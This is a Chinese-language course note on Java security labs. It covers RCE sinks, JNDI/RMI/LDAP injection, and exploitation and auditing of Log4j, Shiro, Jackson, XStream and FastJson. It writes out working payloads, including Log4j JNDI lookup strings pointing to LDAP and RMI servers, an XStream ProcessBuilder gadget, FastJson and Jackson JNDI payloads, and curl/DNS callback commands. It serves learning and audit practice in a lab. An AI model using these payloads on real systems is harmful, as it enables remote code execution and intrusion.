第67天:漏洞利用-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

第67天:WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

第67天:WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网1

image-20250822214654631

执行命令,得到输出结果。

RuntimeExec

image-20250824110329194

image-20250824110338515

GroovyExec

image-20250824110401574

1
"curl bt3509.dnslog.cn".execute()

image-20250824110510633

image-20250824110435795

ProcessImpl

image-20250824110631116

image-20250824110610631

ProcessBuilder

image-20250824110706326

1
127.0.0.1 | calc

image-20250824110754187

image-20250824121427945

ScriptEngineManager

image-20250824121758522

首先将payload保存到一个可以远程访问的js文件中:

1
2
3
4
var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};


var a = mainOutput(); function mainOutput() { var x=java.lang.\/****\/Runtime.getRuntime().exec("calc");}

image-20250824122029328

image-20250824122045370

总结

  • 主要是来熟悉触发 java 的 RCE 的几个类和函数,后期发现和审计漏洞的时候直接搜相关类和函数即可
  • 检测:(大部分白盒)
    • 黑盒看参数名和参数值来猜测此处是否可能有执行,然后进测试
    • 白盒看类函数名和可控变量

JNDI

含义

  • JNDI 全称为 Java Naming and DirectoryInterface(Java 命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI 支持的服务主要有:DNS、LDAP、CORBA、RMI 等。我们经常用到的就是 RMI 和 LDAP
    • RMI:远程方法调用注册表
    • LDAP:轻量级目录访问协议

调用检索 (了解)

  • Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。javax.naming.InitialContext.lookup ()
  • 在 RMI 服务中调用了 InitialContext.lookup () 的类有:
    • org.springframework.transaction.jta.JtaTransactionManager.readObject()
    • com.sun.rowset.JdbcRowSetImpl.execute()
    • javax.management.remote.rmi.RMIConnector.connect()
    • org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
  • 在 LDAP 服务中调用了 InitialContext.lookup () 的类有:
    • InitialDirContext.lookup()
    • Spring LdapTemplate.lookup()
    • LdapTemplate.lookupContext()

image-20250824122535783

image-20250824122511782

image-20250824122520901

总结

  • 检测:
    • 无黑盒思路 (黑盒是看不到的)
    • 白盒看类函数名和可控变量
  • 在漏洞利用时使用 jndi,如在 java 中 rce 时考虑 jndi

不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

Log4j

历史漏洞:https://avd.aliyun.com/search?q=Log4j&timestamp__1384=eqIxgDnDRG0%3DN405DIBAxfx7uC8n77QKF4D

image-20250824122803517

1
${jndi:ldap://nopklxrxqo.dgrh3.cn}		#这里地址填写dnslog地址

image-20250824123622474

image-20250824123547965

Shiro

  • Java 安全框架,能够用于身份验证、授权、加密和会话管理。
  • 历史漏洞:https://avd.aliyun.com/search?q=Shiro
  • 特征:
    • cookie 中有一个是 remember-me,如下面这个数据包,不是在cookie,在post—data字段

image-20250824123929919

image-20250824124119128

直接使用工具即可。

image-20250824124143528

image-20250824124151454

Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。

特征:java 应用,若发送数据是 json 即可进行测试,无明显特征

历史漏洞:https://avd.aliyun.com/search?q=Jackson

image-20250824124310107

image-20250824124314390

使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具生成 ldap 协议地址填入测试

image-20250824124420051

1
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://10.20.0.92:1389/rpq5fq","autoCommit":"true"}]

这里没有执行成功,猜测是java版本的问题。不想修改了。

XStream

  • 开源 Java 类库,能将对象序列化成 XML 或 XML 反序列化为对象
  • 漏洞描述:
    • XStream 是一个轻量级、简单易用的开源 Java 类库,它主要用于将对象序列化成 XML(JSON)或反序列化为对象。 XStream 在解析 XML 文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用 sun.rmi.registry.RegistryImpl_Stub 构造 RMI 请求,进而执行任意命令。
  • 历史漏洞:https://avd.aliyun.com/search?q=XStream
  • 特征:
    • java 应用,若发送数据是 xml 即可进行测试
1
2
3
4
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>

//打开记事本
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>notepad</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>

image-20250824125327817

FastJson

  • 阿里巴巴公司开源的 json 解析器,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
  • 历史漏洞:https://avd.aliyun.com/search?q=fastjson
  • 特征:
    • java 应用,若发送数据是 json 即可进行测试,明显特征是:@type
  • 演示:
    • 使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具生成 rmi 协议地址填入测试

image-20250824125854911

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 10.20.0.92

白盒审计-FastJson

1
2
3
4
5
6
7
8
9
审计思路:
1、看引用组件版本及实现
JSON.parse() JSON.parseObject()

2、找可控变量及访问实现
admin/product propertyJson

3、测试出网回显调用访问
{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}

image-20250824130505734

image-20250824130747061

数据库这些地方配置好。

环境没搭建好

image-20250824135950391

  1. 找可控变量及访问实现
    • 根据上图可以发现访问路由为 admin/product
    • 接收参数为 propertyJson
  2. 测试出网回显调用访问
    • 抓包获取访问路径为 admin/product 的 post 数据包,修改参数 propertyJson 为 {“@type”:”java.net.Inet4Address”,”val”:”atcuqbczqs.dnstunnel.run”}
      其中 val 值为 dnslog 域名,测试结果发现有回显,说明存在漏洞

image-20250824140021885

Log4j 审计

  1. 看引用组件版本及实现
    • 在 IDEA 中 ctrl+shift+f 全局搜索关键字及函数 logger.info logger.error

image-20250824140038446

  1. 找可控变量及访问实现
    • 根据上图可以发现访问路由为 admin/uploadAdminHeadImage
    • 接收参数为 originalFileName
  2. 测试出网回显调用访问
    • payload:ldap 协议才能使 dnslog 有回显,rmi 不行
1
2
${jndi:ldap://jebqzwhwtn.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/l6v1wz}

image-20250824140103086

    • 后续使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 这个工具生成测试地址,小迪启动这个靶场时是使用的内置的 java8 所以只有一个可以执行成功,我启动靶场的时候使用的是 jdk1.8.0_112,所以都可以执行成功。执行不成功的自己在 IDEA 看一下启动时候的 java 是什么版本。

黑盒测试不安全组件漏洞:见后续章节漏洞复现利用课程

不回显常见判断通用方法:

  1. 直接将执行结果写入到静态资源文件里,如 html、js 等,然后访问。
  2. 通过 dnslog 进行数据外带,但如果无法执行 dns 请求就无法验证了。
  3. 接将命令执行结果回显到请求 Poc 的 HTTP 响应中。

不回显常见判断细节方法参考:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw